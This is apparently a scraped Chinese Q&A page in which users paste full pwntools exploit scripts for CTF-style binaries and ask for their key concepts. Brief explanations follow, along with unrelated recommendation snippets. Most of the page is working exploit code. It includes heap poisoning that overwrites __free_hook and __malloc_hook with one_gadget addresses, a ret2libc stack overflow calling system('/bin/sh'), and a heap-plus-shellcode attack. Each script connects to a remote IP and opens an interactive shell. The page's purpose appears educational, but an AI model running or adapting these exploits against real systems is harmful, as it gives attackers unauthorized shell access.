from pwn import * context(log_level='debug',os='linux',arch='i386') # p = process("./1") p = remote("59.110.164.72",10085) elf=ELF('./1') libc=ELF('libc-2.27.so') # gdb.attach(p,"b *0x400e2b") # pause() payload1 ="+"+str(0x7E4750AB) p.sendlineafter(b"welcome~ please input the password:\n",payload1) def menu(choice): p.sendlineafter(b"please choose one!\n",str(choice)) def add(size): menu(1) p.sendlineafter(b"Age of Stu:\n",str(size)) def edit(idx,com): menu(3) p.sendlineafter(b"Index:\n",str(idx)) p.sendlineafter(b"Content of Stu:\n",com) def free(idx): menu(2) p.sendlineafter(b"Index:\n",str(idx)) def show(idx): menu(4) p.sendlineafter(b"Index:\n",str(idx)) for i in range(9): add(0x100) for i in range(9,-1,-1): free(i) for i in range(7): add(0x100) add(0x100) show(7) p.recvuntil("Content : ") libc_base = u64(p.recv(6).ljust(8,b"\x00"))-0x3ebeb0 print ("libc_base -->",hex(libc_base)) free_hook = libc_base+libc.sym['__free_hook'] one = [0x4f2a5,0x4f302,0x10a2fc] gadgeb = one[1]+libc_base free(0) free(1) free(2) edit(2,p64(free_hook)) add(0x100) add(0x100) edit(6,p64(gadgeb)) edit(7,"/bin/sh\x00") # gdb.attach(p,"b *0x400c8f") # pause() free(7) p.interactive()这串代码的知识点

时间: 2024-02-26 10:52:30 浏览: 19
这段代码主要是一个堆利用的漏洞利用,包括了堆溢出和 UAF。具体来说,它通过向程序发送特定的输入,构造了一段堆的布局,然后通过 UAF 改变一个指针的指向,改为了 `__free_hook` 的地址,并将一个 one gadget 的地址写入到 `__free_hook` 中,最后通过释放一个指向 "/bin/sh" 字符串的指针,触发 one gadget,从而成功获取 shell。其中,涉及到了一些基础的 pwntools 的使用,如 `pwn.remote()`、`pwn.ELF()` 等。同时,还需要了解堆的基本知识,如堆的布局、堆块的结构等。
相关问题

from pwn import * import struct import os context(os='linux', arch='amd64', log_level='debug') elf = ELF("./Login") libc = ELF("./libc-2.23.so") DEBUG = 0 def exp(p): p.recvuntil("Here is a tip: 0x") std_addr = int(p.recv(12), 16) info("std_addr----->"+hex(std_addr)) libc.address = std_addr - 0x3c48e0 p.recvuntil("input the username:\n") p.send(b"a"*28+b"\xCC\x15\xCC\x15") p.recvuntil("input the password:\n") payload = b"a"*0x28 + p64(0x00000000004008c3) + p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym["system"]) p.send(payload) p.interactive() def main(): if DEBUG: p = process("./Login") gdb.attach(p, "source ./.gdbinit") exp(p) else: p = remote("59.110.164.72", 10000) exp(p) if __name__ == "__main__": main()这串代码的知识点

这是一段使用 pwntools 库编写的 exploit 脚本,用于攻击一个名为 Login 的程序。该脚本的主要作用是通过溢出 Login 程序的缓冲区来实现攻击,并最终获取一个 shell。 具体来说,该脚本的主要知识点包括: 1. 使用 pwntools 库中的各种函数来与目标程序进行交互,如 `recvuntil`、`send`、`interactive` 等。 2. 使用 `ELF` 类来解析目标程序的 ELF 文件,获取其中的地址信息等。 3. 使用 `libc` ELF 文件中的符号来获取函数地址,如 `search`、`sym` 等。 4. 使用 `gdb` 调试工具来调试目标程序,如 `process`、`attach` 等。 5. 利用栈溢出漏洞来覆盖程序的返回地址,从而实现控制程序流程的目的。 6. 利用泄漏的地址信息计算出 libc 的基地址,从而获取 libc 中的函数地址。 7. 利用 `system` 函数来执行 shell 命令,从而获取 shell。

from pwn import * context(log_level='debug',os='linux',arch='amd64') # p=process('./1') p =remote("59.110.164.72",10025) elf=ELF('./1') shellcode = asm(shellcraft.sh()) # gdb.attach(p,"b *0x400a28") # pause() payload1 =b"\x00"*24 p.sendafter(b"Start injecting\n",payload1) p.recvuntil(b"materials\n") heap_addr = int(p.recv(8),10) print (heap_addr) # heap_addr =int((heap_addr),16) print (hex(heap_addr)) sleep(0.1) p.sendline(str(-1)) #change top_chunk sleep(0.1) p.sendline(str(6296200-heap_addr)) #get_size p.sendafter(b"Answer time is close to over\n","a"*0x10) # gdb.attach(p,"b *0x400b49") # pause() payload2= b"a"*0x60+p64(0x6012a0+0x80+0x120)+p64(0x4008e3)+b"a"*0x10+\ p64(0x6012a0+0x60)+p64(0x400914)+shellcode p.sendafter(b"irect to destination\n",payload2) p.recvuntil(b"you pass") # sleep() p.recv(0x1b0) sleep(0.5) stack = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0xd0 print(hex(stack)) # gdb.attach(p,"b *0x4008e3") # pause() payload3 = b"a"*0x68+p64(stack) p.sendline(payload3) p.interactive()这串代码的知识点和用处

这段代码是针对一个名为“materials”的程序进行的攻击,该程序存在堆溢出漏洞和栈溢出漏洞。攻击的目的是获取程序的最高权限,实现远程代码执行。 代码中使用了pwntools库,主要实现了以下功能: 1. 构造堆溢出payload,通过修改堆块头部实现伪造chunk。具体地,构造了两个chunk,第一个chunk大小设为负数,通过修改top_chunk的方式使其指向第二个chunk的头部。第二个chunk的大小设为目标位置(0x6012a0+0x80+0x120)与堆基址的差值,即让其覆盖到目标位置上。然后在第二个chunk的尾部构造ROP链实现远程代码执行。 2. 获取栈地址,利用栈溢出漏洞,将ROP链的返回地址修改为栈上的地址,从而在返回时跳转到栈上执行代码。 总的来说,这段代码主要是利用了堆溢出和栈溢出漏洞,通过构造payload实现远程代码执行的攻击。

相关推荐

import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()

最新推荐

recommend-type

kali安装ROPgadget报错.docx

kali安装ROPgadget报错,pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/usr/local/lib/python2.7/dist-packages/ROPGadget-5.9.dist-info'
recommend-type

钢筋混凝土污水池及提升泵站施工方案.doc

课程设计污水处理
recommend-type

RTL8188FU-Linux-v5.7.4.2-36687.20200602.tar(20765).gz

REALTEK 8188FTV 8188eus 8188etv linux驱动程序稳定版本, 支持AP,STA 以及AP+STA 共存模式。 稳定支持linux4.0以上内核。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

实现实时数据湖架构:Kafka与Hive集成

![实现实时数据湖架构:Kafka与Hive集成](https://img-blog.csdnimg.cn/img_convert/10eb2e6972b3b6086286fc64c0b3ee41.jpeg) # 1. 实时数据湖架构概述** 实时数据湖是一种现代数据管理架构,它允许企业以低延迟的方式收集、存储和处理大量数据。与传统数据仓库不同,实时数据湖不依赖于预先定义的模式,而是采用灵活的架构,可以处理各种数据类型和格式。这种架构为企业提供了以下优势: - **实时洞察:**实时数据湖允许企业访问最新的数据,从而做出更明智的决策。 - **数据民主化:**实时数据湖使各种利益相关者都可
recommend-type

去除字符串s="ab23cde"中的数字,构成一个新的字符串"abcde"。

可以使用正则表达式来匹配并替换字符串中的数字: ```python import re s = "ab23cde" new_s = re.sub(r'\d+', '', s) print(new_s) # 输出:abcde ``` 其中,`\d` 表示匹配数字,`+` 表示匹配一个或多个数字,`re.sub()` 函数用来替换匹配到的数字为空字符串。
recommend-type

c++校园超市商品信息管理系统课程设计说明书(含源代码) (2).pdf

校园超市商品信息管理系统课程设计旨在帮助学生深入理解程序设计的基础知识,同时锻炼他们的实际操作能力。通过设计和实现一个校园超市商品信息管理系统,学生掌握了如何利用计算机科学与技术知识解决实际问题的能力。在课程设计过程中,学生需要对超市商品和销售员的关系进行有效管理,使系统功能更全面、实用,从而提高用户体验和便利性。 学生在课程设计过程中展现了积极的学习态度和纪律,没有缺勤情况,演示过程流畅且作品具有很强的使用价值。设计报告完整详细,展现了对问题的深入思考和解决能力。在答辩环节中,学生能够自信地回答问题,展示出扎实的专业知识和逻辑思维能力。教师对学生的表现予以肯定,认为学生在课程设计中表现出色,值得称赞。 整个课程设计过程包括平时成绩、报告成绩和演示与答辩成绩三个部分,其中平时表现占比20%,报告成绩占比40%,演示与答辩成绩占比40%。通过这三个部分的综合评定,最终为学生总成绩提供参考。总评分以百分制计算,全面评估学生在课程设计中的各项表现,最终为学生提供综合评价和反馈意见。 通过校园超市商品信息管理系统课程设计,学生不仅提升了对程序设计基础知识的理解与应用能力,同时也增强了团队协作和沟通能力。这一过程旨在培养学生综合运用技术解决问题的能力,为其未来的专业发展打下坚实基础。学生在进行校园超市商品信息管理系统课程设计过程中,不仅获得了理论知识的提升,同时也锻炼了实践能力和创新思维,为其未来的职业发展奠定了坚实基础。 校园超市商品信息管理系统课程设计的目的在于促进学生对程序设计基础知识的深入理解与掌握,同时培养学生解决实际问题的能力。通过对系统功能和用户需求的全面考量,学生设计了一个实用、高效的校园超市商品信息管理系统,为用户提供了更便捷、更高效的管理和使用体验。 综上所述,校园超市商品信息管理系统课程设计是一项旨在提升学生综合能力和实践技能的重要教学活动。通过此次设计,学生不仅深化了对程序设计基础知识的理解,还培养了解决实际问题的能力和团队合作精神。这一过程将为学生未来的专业发展提供坚实基础,使其在实际工作中能够胜任更多挑战。
recommend-type

"互动学习:行动中的多样性与论文攻读经历"

多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动,互动学习以行动为中心的强化学习学会互动,互动学习,以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授:智囊团论文联合主任菲利普·普雷教授,大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授,Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士,Deepmind对于那些及时看到自己错误的人...3谢谢你首先,我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔,"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲,你知道在这篇论文的(许多)错误中,你是我可以依
recommend-type

实现实时监控告警系统:Kafka与Grafana整合

![实现实时监控告警系统:Kafka与Grafana整合](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9BVldpY3ladXVDbEZpY1pLWmw2bUVaWXFUcEdLT1VDdkxRSmQxZXB5R1lxaWNlUjA2c0hFek5Qc3FyRktudFF1VDMxQVl3QTRXV2lhSWFRMEFRc0I1cW1ZOGcvNjQw?x-oss-process=image/format,png) # 1.1 Kafka集群架构 Kafka集群由多个称为代理的服务器组成,这
recommend-type

帮我用python随便写一个demo

以下是一个简单的Python demo: ``` python # 这是一个简单的Python demo # 用于计算两个数的加、减、乘、除 # 定义两个数 num1 = 10 num2 = 5 # 加法 result_add = num1 + num2 print("加法结果为:", result_add) # 减法 result_sub = num1 - num2 print("减法结果为:", result_sub) # 乘法 result_mul = num1 * num2 print("乘法结果为:", result_mul) # 除法 result_div = num1